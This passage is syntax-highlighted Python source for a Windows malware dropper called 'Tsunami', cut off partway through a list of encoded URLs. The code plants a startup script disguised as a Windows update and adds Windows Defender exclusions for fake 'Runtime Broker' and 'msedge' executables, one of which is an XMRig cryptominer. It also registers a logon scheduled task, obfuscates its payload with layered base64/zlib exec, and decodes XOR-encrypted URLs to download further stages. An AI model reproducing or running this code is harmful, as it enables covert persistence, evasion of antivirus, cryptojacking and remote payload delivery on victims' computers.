class="line">1684</span><br><span class="line">1685</span><br><span class="line">1686</span><br><span class="line">1687</span><br><span class="line">1688</span><br><span class="line">1689</span><br><span class="line">1690</span><br><span class="line">1691</span><br><span class="line">1692</span><br><span class="line">1693</span><br><span class="line">1694</span><br><span class="line">1695</span><br><span class="line">1696</span><br><span class="line">1697</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="comment">##### Imports #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">import</span> subprocess</span><br><span class="line">    <span class="keyword">import</span> traceback</span><br><span class="line">    <span class="keyword">import</span> warnings</span><br><span class="line">    <span class="keyword">import</span> platform</span><br><span class="line">    <span class="keyword">import</span> tempfile</span><br><span class="line">    <span class="keyword">import</span> winreg</span><br><span class="line">    <span class="keyword">import</span> ctypes</span><br><span class="line">    <span class="keyword">import</span> random</span><br><span class="line">    <span class="keyword">import</span> base64</span><br><span class="line">    <span class="keyword">import</span> zlib</span><br><span class="line">    <span class="keyword">import</span> time</span><br><span class="line">    <span class="keyword">import</span> sys</span><br><span class="line">    <span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Supress Warnings #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        warnings.filterwarnings(<span class="string">&quot;ignore&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Globals #####</span></span><br><span class="line"></span><br><span class="line">    DEBUG_MODE = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    PYTHON_INSTALLER_URL = <span class="string">&quot;https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe&quot;</span></span><br><span class="line"></span><br><span class="line">    APPDATA_ROAMING_DIRECTORY = os.getenv(<span class="string">&quot;APPDATA&quot;</span>)</span><br><span class="line"></span><br><span class="line">    TSUNAMI_INJECTOR_NAME = <span class="string">&quot;Windows Update Script.pyw&quot;</span></span><br><span class="line">    TSUNAMI_INJECTOR_FOLDER = <span class="string">f&quot;<span class="subst">&#123;APPDATA_ROAMING_DIRECTORY&#125;</span>/Microsoft/Windows/Start Menu/Programs/Startup&quot;</span></span><br><span class="line">    TSUNAMI_INJECTOR_PATH = <span class="string">rf&quot;<span class="subst">&#123;TSUNAMI_INJECTOR_FOLDER&#125;</span>/<span class="subst">&#123;TSUNAMI_INJECTOR_NAME&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">    TSUNAMI_INJECTOR_SCRIPT = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">RandVar = &#x27;?&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Imports #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">from cryptography.hazmat.primitives import hashes, serialization</span></span><br><span class="line"><span class="string">from cryptography.hazmat.primitives.asymmetric import padding</span></span><br><span class="line"><span class="string">import urllib.request</span></span><br><span class="line"><span class="string">import urllib.parse</span></span><br><span class="line"><span class="string">import subprocess</span></span><br><span class="line"><span class="string">import tempfile</span></span><br><span class="line"><span class="string">import binascii</span></span><br><span class="line"><span class="string">import ctypes</span></span><br><span class="line"><span class="string">import random</span></span><br><span class="line"><span class="string">import string</span></span><br><span class="line"><span class="string">import base64</span></span><br><span class="line"><span class="string">import zlib</span></span><br><span class="line"><span class="string">import time</span></span><br><span class="line"><span class="string">import gzip</span></span><br><span class="line"><span class="string">import json</span></span><br><span class="line"><span class="string">import ssl</span></span><br><span class="line"><span class="string">import sys</span></span><br><span class="line"><span class="string">import os</span></span><br><span class="line"><span class="string">import re</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Globals #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">DEBUG_MODE = False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">ROAMING_APPDATA_PATH = os.getenv(&quot;APPDATA&quot;)</span></span><br><span class="line"><span class="string">LOCAL_APPDATA_PATH = os.getenv(&quot;LOCALAPPDATA&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_NAME = &quot;&quot;.join([random.choice(string.ascii_letters) for i in range(16)])</span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()</span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_PATH = rf&quot;&#123;TSUNAMI_PAYLOAD_FOLDER&#125;\&#123;TSUNAMI_PAYLOAD_NAME&#125;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_NAME = &quot;Runtime Broker&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_FOLDER = rf&quot;&#123;ROAMING_APPDATA_PATH&#125;\Microsoft\Windows\Applications&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_PATH = rf&quot;&#123;TSUNAMI_INSTALLER_FOLDER&#125;\Runtime Broker.exe&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_SCRIPT = &#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">RandVar = &#x27;?&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Imports #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">import subprocess</span></span><br><span class="line"><span class="string">import datetime</span></span><br><span class="line"><span class="string">import ctypes</span></span><br><span class="line"><span class="string">import os</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Globals #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">DEBUG_MODE = False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">ROAMING_APPDATA_PATH = os.getenv(&quot;APPDATA&quot;)</span></span><br><span class="line"><span class="string">LOCAL_APPDATA_PATH = os.getenv(&quot;LOCALAPPDATA&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_NAME = &quot;Runtime Broker&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_FOLDER = rf&quot;&#123;ROAMING_APPDATA_PATH&#125;\Microsoft\Windows\Applications&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_PATH = rf&quot;&#123;TSUNAMI_INSTALLER_FOLDER&#125;\Runtime Broker.exe&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Utils #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def output(text: str) -&gt; None:</span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        print(text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def is_admin() -&gt; bool:</span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        return ctypes.windll.shell32.IsUserAnAdmin()</span></span><br><span class="line"><span class="string">    except:</span></span><br><span class="line"><span class="string">        return False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Tsunami Payload #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def add_windows_defender_exception(filepath: str) -&gt; None:</span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        subprocess.run(</span></span><br><span class="line"><span class="string">            [&quot;powershell.exe&quot;, f&quot;Add-MpPreference -ExclusionPath &#x27;&#123;filepath&#125;&#x27;&quot;],</span></span><br><span class="line"><span class="string">            shell = True,</span></span><br><span class="line"><span class="string">            creationflags = subprocess.CREATE_NO_WINDOW,</span></span><br><span class="line"><span class="string">            stdout = subprocess.PIPE,</span></span><br><span class="line"><span class="string">            stderr = subprocess.PIPE,</span></span><br><span class="line"><span class="string">            stdin = subprocess.PIPE</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(f&quot;Added a new file to the Windows Defender exception&quot;)</span></span><br><span class="line"><span class="string">    except Exception as e:</span></span><br><span class="line"><span class="string">        output(f&quot;[-] Failed to add Windows Defender exception: &#123;e&#125;&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def create_task() -&gt; None:</span></span><br><span class="line"><span class="string">    powershell_script = f\&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string">        $Action = New-ScheduledTaskAction -Execute &quot;&#123;TSUNAMI_INSTALLER_PATH&#125;&quot;</span></span><br><span class="line"><span class="string">        $Trigger = New-ScheduledTaskTrigger -AtLogOn</span></span><br><span class="line"><span class="string">        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive</span></span><br><span class="line"><span class="string">        $Principal.RunLevel = 1</span></span><br><span class="line"><span class="string">        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd</span></span><br><span class="line"><span class="string">        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName &quot;Runtime Broker&quot;</span></span><br><span class="line"><span class="string">                         \&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        subprocess.run(</span></span><br><span class="line"><span class="string">            [&quot;powershell.exe&quot;,&quot;-Command&quot;, powershell_script],</span></span><br><span class="line"><span class="string">            check = True,</span></span><br><span class="line"><span class="string">            creationflags = subprocess.CREATE_NO_WINDOW</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(&quot;[+] Successfully created the task&quot;)</span></span><br><span class="line"><span class="string">    except Exception as e:</span></span><br><span class="line"><span class="string">        output(f&quot;[-] Failed to create the task: &#123;e&#125;&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Application Entry #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">if __name__ == &quot;__main__&quot;:</span></span><br><span class="line"><span class="string">    # Check if we are an admin</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if not is_admin():</span></span><br><span class="line"><span class="string">        output(&quot;[WARNING] Not running as an administrator&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Add the Windows Defender exceptions</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    EXCEPTION_PATHS = [</span></span><br><span class="line"><span class="string">        # Tsunami Installer</span></span><br><span class="line"><span class="string">        rf&quot;&#123;ROAMING_APPDATA_PATH&#125;\Microsoft\Windows\Applications\Runtime Broker.exe&quot;,</span></span><br><span class="line"><span class="string">        # Tsunami Client</span></span><br><span class="line"><span class="string">        rf&quot;&#123;LOCAL_APPDATA_PATH&#125;\Microsoft\Windows\Applications\Runtime Broker.exe&quot;,</span></span><br><span class="line"><span class="string">        # XMRig miner</span></span><br><span class="line"><span class="string">        rf&quot;&#123;LOCAL_APPDATA_PATH&#125;\Microsoft\Windows\Applications\msedge.exe&quot;</span></span><br><span class="line"><span class="string">    ]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    for filepath in EXCEPTION_PATHS:</span></span><br><span class="line"><span class="string">        add_windows_defender_exception(filepath)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Create the task</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    create_task()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Keep the window open in debug mode for analysis</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        input()</span></span><br><span class="line"><span class="string">                         &#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Obfuscator #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">zlb = lambda in_ : zlib.compress(in_)</span></span><br><span class="line"><span class="string">b64 = lambda in_ : base64.b64encode(in_)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def obfuscate_script(data: str, loop_count: int) -&gt; str:</span></span><br><span class="line"><span class="string">    # Change the value of the random variable to ensure different obfuscation strings each time</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    data = data.replace(&quot;RandVar = &#x27;?&#x27;&quot;, f&quot;RandVar = &#x27;&#123;random.randint(100000, 10000000)&#125;&#x27;&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Setup obfuscation</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    xx = &quot;b64(zlb(data.encode(&#x27;utf8&#x27;)))[::-1]&quot;</span></span><br><span class="line"><span class="string">    prefix = &quot;_ = lambda __ : __import__(&#x27;zlib&#x27;).decompress(__import__(&#x27;base64&#x27;).b64decode(__[::-1]));&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Perform obfuscation</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    for i in range(loop_count):</span></span><br><span class="line"><span class="string">        try:</span></span><br><span class="line"><span class="string">            data = &quot;exec((_)(%s))&quot; % repr(eval(xx))</span></span><br><span class="line"><span class="string">        except TypeError as s:</span></span><br><span class="line"><span class="string">            sys.exit(&quot; TypeError : &quot; + str(s))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Build the complete output</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    output = &quot;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    output += &quot;\\n&quot;</span></span><br><span class="line"><span class="string">    output += prefix</span></span><br><span class="line"><span class="string">    output += data</span></span><br><span class="line"><span class="string">    output += &quot;\\n&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Return the output</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    return output</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Utils #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def output(text: str) -&gt; None:</span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        print(text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def is_task_scheduled(task_name: str) -&gt; bool:</span></span><br><span class="line"><span class="string">    powershell_command = f&quot;Get-ScheduledTask -TaskName &#x27;&#123;task_name&#125;&#x27;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    result = subprocess.run(</span></span><br><span class="line"><span class="string">        [&quot;powershell.exe&quot;, &quot;-Command&quot;, powershell_command],</span></span><br><span class="line"><span class="string">        creationflags = subprocess.CREATE_NO_WINDOW,</span></span><br><span class="line"><span class="string">        capture_output = True,</span></span><br><span class="line"><span class="string">        text = True</span></span><br><span class="line"><span class="string">    )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if result.returncode == 0 and result.stdout.strip():</span></span><br><span class="line"><span class="string">        return True</span></span><br><span class="line"><span class="string">    else:</span></span><br><span class="line"><span class="string">        return False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### URL Downloader #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def xor_encrypt(text: bytes):</span></span><br><span class="line"><span class="string">    XOR_KEY = b&quot;!!!HappyPenguin1950!!!&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    encrypted_text = bytearray()</span></span><br><span class="line"><span class="string">    for i in range(len(text)):</span></span><br><span class="line"><span class="string">        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])</span></span><br><span class="line"><span class="string">    return bytes(encrypted_text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def xor_decrypt(text: bytes):</span></span><br><span class="line"><span class="string">    return xor_encrypt(text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def decode(encoded: str) -&gt; str:</span></span><br><span class="line"><span class="string">    encoded_bytes = binascii.unhexlify(encoded)</span></span><br><span class="line"><span class="string">    encoded_bytes = xor_decrypt(encoded_bytes)</span></span><br><span class="line"><span class="string">    encoded = base64.b64decode(encoded_bytes).decode()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    return encoded[::-1]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def download_installer_url() -&gt; str:</span></span><br><span class="line"><span class="string">    URLS = [</span></span><br><span class="line"><span class="string">        &quot;6f5b427a2c1e221532542c0b112e024b5b5e09476f4b78596c7a540012211a0d3c543b050c76007c7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75607c2e27261532083834165a3c41606354476c7574586c1f541c2a3c0617375533103f4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75467b2f1d3e0334205b54175b5b7d614f61126c4b6b4d430f271f264a1a1c3432061f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75647c2c27260c330b022410071e596a5908146f5b7458450f544123311a09370a44583a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65787a2c1e3e030a3d24362f2e384458606a476c7564106c262f0713493c110c54272b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b787c2f2822153222160f2407204b606001476f4b60126c7b0d1c114b1e133d20441f0c0056435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b70782f433e15322202322f3e20596c7308566f757414781f54002a4b1632370a3306346770435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b78322c422a143257382f1604385a6062096c795b705b6c220d00292e1a543c204c1c37640d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65603f2c1d26103430201d175b0272614f57136e754d5b7b0f541c254b241037301d3c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b70782c42260a34332410113e5765614f5b116f65674f401f3b0512491e130d0a11053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b687c2c281c0034321e12263e3c5d5d7d6251734d19106c3202411314065337300d2a0c765d40627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b703f2f3822030a325b172707245d5b72484d721019586c3220422a21061d0d554c270a766f59624818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f654a782e37080a313d3c3310045b595a5e6a476c7542156c25371912481a0b0c0a19590c010d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b78312f433e0b09572834165b384260637e476f5b705b6e100d1b2a3e06300a2040050c666f717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75647d2e37180331325b172704385b63626658731019116c222c09292e650d37093f3f34666b455313146b6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75747a2c27260332542c0c143e5703686308586c5b6413400f2f40112134310c0a3305370101435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75747b2f4241480a3d2056213e28056362484d701019146f1c38411314060e0c0a233c0d0273596a664d726d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b787a2f37360c31320a0f2021205d58075c6c795b6c116f32370a131406503a3f271334675a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b46312f1e3e15320b3857263e3c59636d7a4e776719116e1c200a2a3e69123d3f3f050c660804655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b427a2c1e1c0032573808232e38445c627670795b78106f1c270a121416573c3f3b1f347600607c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b6c7c2f4226133132340a215a24475d727e4d726719566c320a422a4b69163730192c0c76555d647218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b6c782c1d1803093d24232f5b5b415d587668795b78126c1c2f40134b060f0c0c19130b667f06526464574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7568322e37264931301a10175b575b6c0408596f5b6014427a271c1312161f0d203f2522026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7542792c433e490932063f142e2059636d7a62795b74566e0c27032a210a0d0d0b271334026f7b7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6546312f420811312d3c0b21212042606d6a51744d19156e1c3040134a02150d55193e346973045466676e6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65603f2e372612313320572c3e385e6f0408146c5b4a59407a2f182114690b0c0a332722026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b707b2c1e3e0e31320623165b0a00685908596f4b6c14407a5806214b060f0c204c2c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b427c2c273613313d240a243e285f63620171795b6c5b6f323745124b1a560c573b050a767f5c6a7470574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b687d2e273a0034322456205b384858627652701019136c0c0209143e650d3f5419590d026f667c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7542792e38320f312d201724043c5d5d7d7a57741019596e1c38081314690a0a2f232b34660845646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b60792f2718490a080220103e1a5b5b047a476e6560156c7b2f40112e161c382f3b1334697305655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7546322c42360c31305b5717042869614f69126f7577587b1f374125211e090f2f3b583b7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b60782f38140f33080632145a24596c73085b6f4b6c134325371c26311e1c3430271c3f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b60302c1e3a0f323d382e2f2124595c585c79795b64106c22331c134b65093c2f3f050a5c00717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75647b2c27450f313d3c1121313c4b636005476f7570156f26051c131402103f3033590c5c7f617c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b4a3f2e383e1534222814202e384258620175795b46126c1c371b2a211a0d0f213b020c767f40521170574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b687b2c1d3e09322d240f275a245d635b7a10741019586c0c3841121469150d54232e0b66415952764d746d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65683f2f383e15323228142707245d63725c79795b42136f22050a2a311a13385427593769556d7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65427a2f27260c0a32381e275b20415d7d7e10744d19146f3234402a2e3410373f3f2134665d5d524c676f6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7574322c27260a0a575b25173e28006b04085b6e756011787a0d05124a1a2f34301110386200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b787d2e283e0b09570257205a06595b726672795b6c146e1c2745123e28543c0a111c346651717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b427b2c1d080909305f1d2f31384463636a476e7574586e102b1c14311e133c093b1b37035546615818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b6c7c2f1e1c493208385423210242586048476f656c566e0f151a14211a553b550d1a34695d43646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65643f2e274515342d3c56210702015a720167795b74146c222b1c2a4b02543d0a23590a6677777c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b6c7b2e383e150a225729112e5b5d680408126f4b685b427b2b1c152106260a5533133403557e7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b4a302e372649093216362f3124475b58546b795b42136f0c33181214061c3f3f270334697b4f617218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6570312f3832003255201517213878614f71566c4b4554437a0d05244b06100a31241f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b467a2f37490a322257102431205c63625c4e7010195b6f0c0244292e650d3c2f19100c03417d7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e756c302e382209322d2c33103e165a60624869795b4a156f0c271c122e28153c0a40010f69735e617218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c754a782c27221132320625172e28015b586664795b6c156c322f02294b3c290d54271c0f6973647c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f756c3f2e27080a0a330a52175b24025b057e476e7570106e0f370a142e0a093b0919100f697b01627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e654a792e37410f3420281d11312073614f69586c75675443260d3d134a06120c30332d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e7574302f381c00313228221621384260625c64795b68586f0c2f03123e3c2937554019395800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b70312c27260d0930340b173102075b5e66476f4b60106c2554092a2c1a0e343f3f1937645e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b42302c433e12320802202f313c00606058476e7570136f102f40142c695537304c1a3c5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b707c2f283a1534225b212f2e3843586048476c65605b6c25191814211623342023053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75747c2f1e1c0a0a321a1721213c48606d7263795b4a5b6f1c0d45143e3c1037312f130f037f59646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6574782c1e3e483422572a165a24475b580964795b785b6f323b1c134b69360d0927593f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7578782f383a1534223829165b384b5a0576476c656c126c7b3300122c691f375519100b644e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b783f2e283e4c31232c57165b2860614f79136f65675b7b103318224a3413342033063b4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b747c2c1e3a0f323d3832160438035b0548476f656c146f7b2f1b12143c2b342040050c647c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65603f2f1e3a4933570a1d213102485d624054727719596c323440152e61090d0a23220d027745526468574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65787b2e283e15330b0232142120415a5e5c476f6560126c7a54091249380d0c2023070c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b68302c2722003257200b2007205d5d6d7e5b727719596f1c2c412a2e06093d3f2710346641777c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span 